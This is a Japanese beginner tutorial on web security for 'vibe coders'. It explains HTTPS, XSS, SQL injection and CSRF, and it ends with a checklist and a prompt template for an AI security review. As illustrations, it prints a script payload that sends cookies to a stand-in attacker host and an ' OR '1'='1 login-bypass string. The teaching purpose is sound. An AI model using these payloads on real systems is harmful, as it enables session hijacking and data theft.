HTTPS・セキュリティの基本 — 「知らなかった」では済まない

バイブコーディング入門 — 第17回

前回のおさらいと、今回のテーマ

前回(第16回)では、認証と認可を学んだ。認証は「あなたは誰?」の確認、認可は「あなたは何をしていい?」の確認。パスワードのハッシュ化、OAuth(他のサービスのアカウントでログイン)、JWT(通行証トークン)。ログイン機能の裏側で何が起きているかが分かるようになった。

しかし、ログイン機能を作っただけでは、アプリは安全にならない。

あなたが15人の会計事務所の所長だとしよう。バイブコーディングで顧問先管理アプリを作った。ログイン機能も付けた。顧問先の決算情報、税務データ、代表者の個人情報が入っている。

ある日、顧問先から「うちの会社名をGoogleで検索したら、御社のアプリ画面が出てきた」と連絡が来る。あるいは、見知らぬ第三者がログインもせずにデータベースの中身を全件取得していた。あるいは、社員がアプリ上のリンクをクリックしただけで、顧問先データが外部に送信されていた。

これらはすべて、実際に起きうるセキュリティ事故だ。そして「知らなかった」は言い訳にならない。個人情報保護法では、個人データの漏洩が発生した場合、個人情報保護委員会への報告と本人への通知が義務付けられている。

今回は、バイブコーダーが最低限知っておくべきセキュリティの基礎を解説する。

今回学ぶこと:

  • HTTPSとは何か(通信を暗号化する仕組み)
  • XSS(クロスサイトスクリプティング)の仕組みと防ぎ方
  • SQLインジェクションの仕組みと防ぎ方
  • CSRF(クロスサイトリクエストフォージェリ)の仕組みと防ぎ方
  • バイブコーディングでAIにセキュリティ対策を頼むテンプレート

第7回のHTTP、第11回のCookie、第16回の認証の知識が、ここで一本の線につながる。

HTTPSとは何か — 「盗み聞き」を防ぐ仕組み

第7回で学んだHTTPを思い出してほしい。HTTPは、ブラウザとサーバーが「手紙」をやりとりするルールだった。しかし、HTTPには致命的な弱点がある。手紙の中身が丸見えなのだ。

HTTPでの通信は、ハガキに例えられる。ハガキは配達途中で誰でも内容を読める。あなたが会員登録画面でメールアドレスとパスワードを入力して送信ボタンを押したとき、HTTPのままだと、その情報は暗号化されずにインターネット上を流れる。途中のネットワーク機器を管理している人がいれば、内容を覗き見ることができてしまう。

カフェのフリーWi-Fiを使っている場面を想像してほしい。そのWi-Fiの通信を傍受する仕組みが仕掛けられていたら、HTTPでやりとりした情報(ログインID、パスワード、クレジットカード番号)はすべて読み取られてしまう。

HTTPSは、この「盗み聞き」を防ぐ仕組みだ。HTTPに「S」が付いている。Sは Secure(安全な)の頭文字だ。HTTPSは、HTTPの通信をTLS(ティーエルエス)という暗号化技術で包んだものだ。TLSは Transport Layer Security の略で、通信の中身を暗号化する技術のことだ。

ハガキの例えで言えば、HTTPSは「封書」だ。中身を暗号化して封筒に入れてから送る。途中で誰かが封筒を手にしても、中身は読めない。

HTTPSの仕組み — 鍵の交換

HTTPSの暗号化は、次のような手順で行われる。日常のたとえで説明しよう。

あなた(ブラウザ)が、銀行(サーバー)に手紙を送りたいとする。手紙の中身を誰にも見られたくない。

  1. あなたが銀行に「暗号化して通信したい」とリクエストする
  2. 銀行が「うちの南京錠」を送ってくる。この南京錠には証明書(SSL証明書)が付いていて、「この南京錠は確かに○○銀行のものです」と第三者機関が保証している
  3. あなたは証明書を確認し、その南京錠で小箱を施錠して「共通の暗号鍵」を入れて送る。南京錠の鍵は銀行しか持っていないので、途中で誰かが箱を拾っても開けられない
  4. 銀行が自分の鍵で箱を開け、共通の暗号鍵を取り出す
  5. 以降の通信は、この共通の暗号鍵を使って暗号化される

この手順は「TLSハンドシェイク」と呼ばれる。ブラウザとサーバーが通信を始める最初の一瞬で自動的に行われる。あなたがやることは何もない。ブラウザのURL欄に鍵マーク(🔒)が表示されていれば、HTTPSで通信できている。

SSL証明書 — 「本物のサーバー」であることの証明

HTTPSで重要なのが、SSL証明書(正確にはTLS証明書)だ。これは「このサーバーは確かに○○のサーバーです」と、第三者の認証機関(CA: Certificate Authority)が発行する電子的な証明書だ。

なぜ証明書が必要なのか。証明書がないと、偽サイトが本物のサイトになりすませてしまうからだ。たとえば、偽の銀行サイトを作って「暗号化通信をしましょう」と言うことはできる。しかし、正規のSSL証明書がなければ、ブラウザが「この接続は安全ではありません」と警告を出す。

バイブコーディングでアプリを作り、Vercel(バーセル)やNetlify(ネットリファイ)といったホスティングサービスにデプロイ(公開)すると、SSL証明書は自動で設定される。あなたが証明書を自分で買ったり設定したりする必要はない。これはホスティングサービスの大きなメリットの1つだ。

HTTPSはなぜ必須なのか

2026年現在、HTTPSは「あったほうがいい」ではなく「必須」だ。理由は3つある。

1つ目: ブラウザが警告を出す。Google Chromeは、HTTPのサイトにアクセスすると「保護されていない通信」と赤い文字で警告する。これを見た顧客は、あなたのアプリを信頼しなくなる。

2つ目: Google検索の順位に影響する。GoogleはHTTPSをランキング要因の1つとして使っている。HTTPのままだと、検索順位が下がる可能性がある。

3つ目: 法的リスク。個人情報やクレジットカード情報を扱うサイトでHTTPSを使っていなかった場合、情報漏洩が起きたときに「適切な安全管理措置を講じていなかった」と判断される可能性がある。

3大攻撃手法 — Webアプリを脅かす「穴」

HTTPSで通信を暗号化しても、アプリ自体に「穴」(脆弱性、ぜいじゃくせい)があれば、攻撃者はそこから侵入できる。

Webアプリに対する攻撃手法は数多くあるが、バイブコーダーが最低限知っておくべきものは3つだ。XSS、SQLインジェクション、CSRFの3つだ。

この3つを知っておくべき理由は、AIが書いたコードにもこれらの脆弱性が含まれることがあるからだ。AIは便利だが、セキュリティのすべてを自動で対処してくれるわけではない。特に「ユーザーの入力をそのまま使ってしまう」パターンは、AIが生成するコードでも見落とされることがある。

XSS(クロスサイトスクリプティング)— 仕込まれた罠

XSSは、Cross-Site Scripting の略だ(CSSと紛らわしいのでXSSと書く)。日本語で言えば「サイトをまたいだスクリプト実行」だ。スクリプトとは、ブラウザ上で動く小さなプログラムのことだ。

XSSの仕組み — 掲示板の例

あなたが20人の不動産会社で使う物件管理アプリをバイブコーディングで作ったとする。物件ごとにメモを残せる機能がある。社員が「内見希望あり、要連絡」などとメモを書き込む。

もし、この「メモ欄」に入力された文字をそのままWebページに表示する作りになっていたら、こんな攻撃ができてしまう。

攻撃者がメモ欄にこう書き込む:

<script>document.location='https://attacker.example.com/steal?cookie='+document.cookie</script>

少しだけ技術的な話になるが、これは「ブラウザに命令を実行させる呪文」のようなものだ。意味は分からなくてもかまわない。重要なのは、この「呪文」がメモ欄に書き込まれ、他の社員がそのメモを表示したときに何が起きるかだ。

他の社員のブラウザが、この「呪文」を普通のメモではなく「実行すべき命令」と解釈してしまう。その結果、その社員のログイン情報(Cookie)が攻撃者のサーバーに送信される。第11回で学んだ通り、Cookieにはセッション情報(ログイン状態の通行証)が入っている。攻撃者はこのCookieを使って、その社員になりすましてアプリにログインできてしまう。

XSSの防ぎ方 — エスケープ処理

防ぎ方は明確だ。ユーザーが入力したテキストを、そのままHTMLに埋め込まない。

「エスケープ処理」(サニタイジングとも言う)という手法を使う。これは、HTMLとして意味を持つ文字(< > & " ')を、ただの文字として表示される形に変換する処理だ。

たとえば、< を &lt; に変換する。こうすると、ブラウザはこれを「小なり記号の表示」と解釈して、命令としては実行しない。

良いニュースがある。React(リアクト)やNext.js(ネクストジェイエス)のようなモダンなフレームワーク(Webアプリを作る土台となるソフトウェア)は、デフォルトでエスケープ処理を行ってくれる。つまり、バイブコーディングでReactベースのアプリを作っていれば、基本的なXSSは自動で防がれる。

ただし、例外がある。Reactでも dangerouslySetInnerHTML(デンジャラスリー・セット・インナーHTML)という機能を使うと、エスケープ処理がスキップされる。名前に「dangerously(危険に)」と付いている通り、危険な操作だ。AIがこの機能を使ったコードを生成した場合は、注意が必要だ。

バイブコーディングでAIに確認するときは、こう聞けばよい。「ユーザーが入力したテキストを表示している箇所で、エスケープ処理は適切に行われていますか? dangerouslySetInnerHTMLは使っていませんか?」

SQLインジェクション — データベースへの侵入

SQLインジェクションは、データベースへの問い合わせ文(SQL文)を改ざんする攻撃だ。SQL(エスキューエル)とは、データベースに対して「このデータを取ってきて」「このデータを更新して」と指示するための言語のことだ。

SQLインジェクションの仕組み — ログイン画面の例

あなたが30人の人材派遣会社で使うスタッフ管理アプリを作ったとする。ログイン画面でメールアドレスとパスワードを入力する。

内部では、こんなSQL文が実行される。

SELECT * FROM users WHERE email = '入力されたメールアドレス' AND password = '入力されたパスワード'

これは「usersテーブルから、メールアドレスとパスワードが一致するユーザーを探して」という命令だ。

もし、メールアドレス欄にユーザーの入力をそのまま埋め込む作りになっていたら、攻撃者はこう入力できる:

' OR '1'='1

すると、SQL文はこうなる:

SELECT * FROM users WHERE email = '' OR '1'='1' AND password = ''

'1'='1' は常に「正しい」ので、パスワードを知らなくても全ユーザーのデータが返ってくる。最悪の場合、データベースの全テーブルを削除する命令すら実行できてしまう。

この攻撃が「インジェクション(注入)」と呼ばれるのは、SQL文の中に攻撃用のコードを「注入」するからだ。

SQLインジェクションの防ぎ方 — プレースホルダー

防ぎ方は確立されている。ユーザーの入力を、SQL文に直接埋め込まない。

「プレースホルダー」(パラメータ化クエリとも言う)という仕組みを使う。SQL文の中にユーザー入力を直接書くのではなく、「ここにユーザー入力が入りますよ」という印を置いておき、データベースエンジン側が安全に処理する。

SELECT * FROM users WHERE email = ? AND password = ?

「?」がプレースホルダーだ。ここにユーザーの入力が入るが、データベースエンジンはこの入力を「SQL命令」ではなく「ただの文字列」として扱う。だから、攻撃者が ' OR '1'='1 と入力しても、それは「メールアドレスが ' OR '1'='1 である人を探す」として処理される。該当する人はいないので、ログインは失敗する。

バイブコーディングでSupabase(スーパーベース)を使っている場合は、Supabaseのクエリビルダー(データベースへの問い合わせを組み立てるツール)が自動でプレースホルダーを使ってくれる。つまり、Supabaseの標準的な使い方をしていれば、SQLインジェクションは自動で防がれる。

しかし、AIが「生のSQL文」を書くコードを生成することがある。たとえば、Supabaseの rpc 機能(カスタムSQL関数を呼び出す機能)を使うときだ。その場合は、プレースホルダーが使われているかを確認する必要がある。

CSRF(クロスサイトリクエストフォージェリ)— 知らぬ間に操作される

CSRFは、Cross-Site Request Forgery の略だ。日本語で言えば「サイトをまたいだリクエストの偽造」。リクエストとは第7回で学んだHTTPリクエスト、つまり「サーバーへのお願い」のことだ。

CSRFの仕組み — メール変更の例

あなたが社内アプリにログインした状態で、別のタブでメールを読んでいたとする。メールの中に「面白い記事を見つけました」というリンクがあった。何気なくクリックする。

そのリンク先は、一見普通のブログ記事だ。しかし、記事のページの裏側に、目に見えないHTTPリクエストが仕込まれていた。そのリクエストは「あなたの社内アプリのメールアドレスを、攻撃者のメールアドレスに変更する」という内容だ。

あなたのブラウザには、社内アプリのログインCookieが保存されている。第11回で学んだ通り、Cookieは該当するサイトへのリクエストに自動で付与される。だから、裏側のリクエストにも、あなたのログインCookieが自動で付いてしまう。

サーバーから見ると、正規のログイン済みユーザーからのリクエストに見える。だからメールアドレスの変更を実行してしまう。あなたは何も操作していないのに、メールアドレスが変更される。攻撃者はそのメールアドレスを使って「パスワードリセット」を行い、アカウントを乗っ取る。

CSRFの防ぎ方 — CSRFトークン

防ぎ方の基本は「CSRFトークン」だ。サーバーがフォーム(入力画面)を表示するとき、ランダムな文字列(CSRFトークン)を一緒に埋め込む。フォームが送信されたとき、このトークンが含まれていなければリクエストを拒否する。

攻撃者は外部サイトからリクエストを偽造できるが、CSRFトークンの値は知りようがない。だから、トークンなしのリクエストは偽物だと判定できる。

もう1つの防御策は「SameSite Cookie」だ。第11回で少し触れたCookieの設定で、「このCookieは同じサイトからのリクエストにだけ付けてよい」と指定できる。外部サイトからのリクエストにはCookieが付かなくなるので、CSRFが成立しない。

現代のフレームワーク(Next.jsなど)やサービス(Supabaseなど)は、CSRFトークンやSameSite Cookieをデフォルトで設定していることが多い。バイブコーディングでこれらを使っていれば、基本的なCSRF対策は自動で行われる。

バイブコーダーのセキュリティチェックリスト

ここまで学んだ内容を、バイブコーディングで実際に使えるチェックリストにまとめる。アプリを公開する前に、このリストを1つずつ確認してほしい。

通信の安全性

  • アプリのURLが https:// で始まっているか
  • ブラウザのURL欄に鍵マーク(🔒)が表示されているか
  • HTTP(暗号化なし)でアクセスしたとき、自動でHTTPSにリダイレクト(転送)されるか

XSS対策

  • ユーザーが入力したテキストを表示する箇所で、エスケープ処理が行われているか
  • dangerouslySetInnerHTML(Reactの場合)を使っている箇所がないか
  • もし使っている場合、入力内容のサニタイズ(無害化)が行われているか

SQLインジェクション対策

  • データベースへの問い合わせに、プレースホルダー(パラメータ化クエリ)が使われているか
  • 生のSQL文にユーザー入力を直接連結している箇所がないか
  • Supabaseのクエリビルダーを使っている場合でも、rpc関数の中でユーザー入力を安全に扱っているか

CSRF対策

  • データを変更するフォームにCSRFトークンが含まれているか
  • CookieのSameSite属性が設定されているか

認証・認可(第16回の復習)

  • ログインしていないユーザーが、保護されたページにアクセスできないか
  • 一般ユーザーが、管理者専用の機能にアクセスできないか
  • パスワードがデータベースにハッシュ化されて保存されているか

その他

  • 環境変数(APIキー、データベースのパスワードなど)がコード内にハードコード(直接書き込み)されていないか
  • .envファイル(環境変数を保存するファイル)が.gitignore(Gitで追跡しないファイルのリスト)に含まれているか
  • エラーメッセージに、サーバーの内部情報(ファイルパス、データベース構造など)が含まれていないか

AIにセキュリティ対策を依頼するテンプレート

バイブコーディングでアプリを作った後、AIにセキュリティレビューを依頼するテンプレートを紹介する。


テンプレート: セキュリティレビューの依頼

「このアプリのセキュリティをチェックしてほしい。以下の観点で問題がないか確認して、問題があれば修正して。

  1. XSS対策: ユーザー入力を表示している箇所で、エスケープ処理が適切か確認してほしい。dangerouslySetInnerHTMLを使っている箇所があれば教えてほしい

  2. SQLインジェクション対策: データベースへの問い合わせで、ユーザー入力を直接SQL文に埋め込んでいる箇所がないか確認してほしい。すべてプレースホルダーまたはSupabaseのクエリビルダーを使う形にしてほしい

  3. CSRF対策: データを変更するAPIエンドポイントにCSRF対策が入っているか確認してほしい

  4. 認証・認可チェック: ログインが必要なページすべてで認証チェックが入っているか確認してほしい。特に、APIルートでセッション検証が漏れている箇所がないか

  5. 環境変数: APIキーやパスワードがコード内にハードコードされていないか確認してほしい。.envファイルが.gitignoreに含まれているかも確認して

  6. エラーハンドリング: エラーメッセージにサーバーの内部情報(ファイルパス、スタックトレース、DB構造)が含まれていないか確認してほしい

問題のある箇所は、箇所ごとに(a)何が問題か(b)どう修正するか(c)修正後のコードを出してほしい。」


このテンプレートの特徴は、チェック項目を具体的に6つに分けていることだ。「セキュリティを見て」だけでは、AIは何をチェックすればいいか迷う。項目を明示すれば、漏れが少なくなる。

よくある不安と答え

AIが書いたコードは安全ではないのか

AIは多くの場合、セキュリティのベストプラクティス(推奨される方法)に沿ったコードを書いてくれる。しかし、100%安全とは限らない。特に複雑な機能を実装するとき、セキュリティよりも「とりあえず動く」ことを優先したコードが生成されることがある。だから、セキュリティレビューのテンプレートを使って、別途チェックする工程を入れるのが望ましい。

小さな社内ツールでもセキュリティ対策は必要か

必要だ。社内ツールでも、従業員の個人情報や顧客データを扱っている場合は、個人情報保護法の対象になる。また、社内ツールがインターネットからアクセスできる状態(Vercelにデプロイしている場合など)であれば、外部からの攻撃を受ける可能性がある。社内限定のつもりでも、URLが漏れれば誰でもアクセスできてしまう。

セキュリティ対策にお金はかかるか

HTTPSはVercelやNetlifyを使えば無料で自動設定される。XSS、SQLインジェクション、CSRFの対策は、コードの書き方の問題であり、追加費用はかからない。React + Supabaseの組み合わせなら、多くの対策がフレームワーク側で自動的に行われる。セキュリティ対策は「高価なオプション」ではなく「正しい作り方」だ。

脆弱性が見つかったらどうすればいいか

慌てずに対応する。まず、その脆弱性が実際に悪用された形跡がないかログ(アクセス記録)を確認する。次に、脆弱性を修正する。そして、もし個人情報の漏洩が発生した(またはその可能性がある)場合は、個人情報保護委員会への報告と本人への通知が必要になる。判断に迷う場合は、専門家(弁護士やセキュリティコンサルタント)に相談することを推奨する。

まとめ

HTTPSは通信を暗号化する仕組みで、2026年現在は必須だ。Vercelなどのホスティングサービスを使えば自動で設定される。XSS、SQLインジェクション、CSRFの3大攻撃は、いずれも「ユーザーの入力を無防備に扱う」ことが原因だ。React + Supabaseの組み合わせなら多くの対策が自動で行われるが、AIが生成したコードでも例外はある。アプリを公開する前にセキュリティチェックリストを確認し、AIにセキュリティレビューを依頼する工程を入れることで、「知らなかった」では済まないリスクを大幅に減らせる。

次回は「データベースの基本 — Webアプリの『記憶』を理解する」。Webアプリがデータをどう保存し、どう取り出すのか。リレーショナルデータベース(RDB)、SQL、そしてバイブコーディングでよく使うSupabaseの仕組みを解説する。

参考リファレンス

  • 前回: 第16回「認証と認可 — 誰が何をできるかを管理する仕組み」(/articles/vc-016)
  • 次回: 第18回「データベースの基本 — Webアプリの『記憶』を理解する」(/articles/vc-018)
  • 第7回「HTTPリクエストとレスポンス — 実物を読めるようになる」(/articles/vc-007)
  • 第11回「ステートレスとCookie/セッション — ログイン状態の正体」(/articles/vc-011)
  • バイブコーディング入門 カリキュラム(/vibe-coding)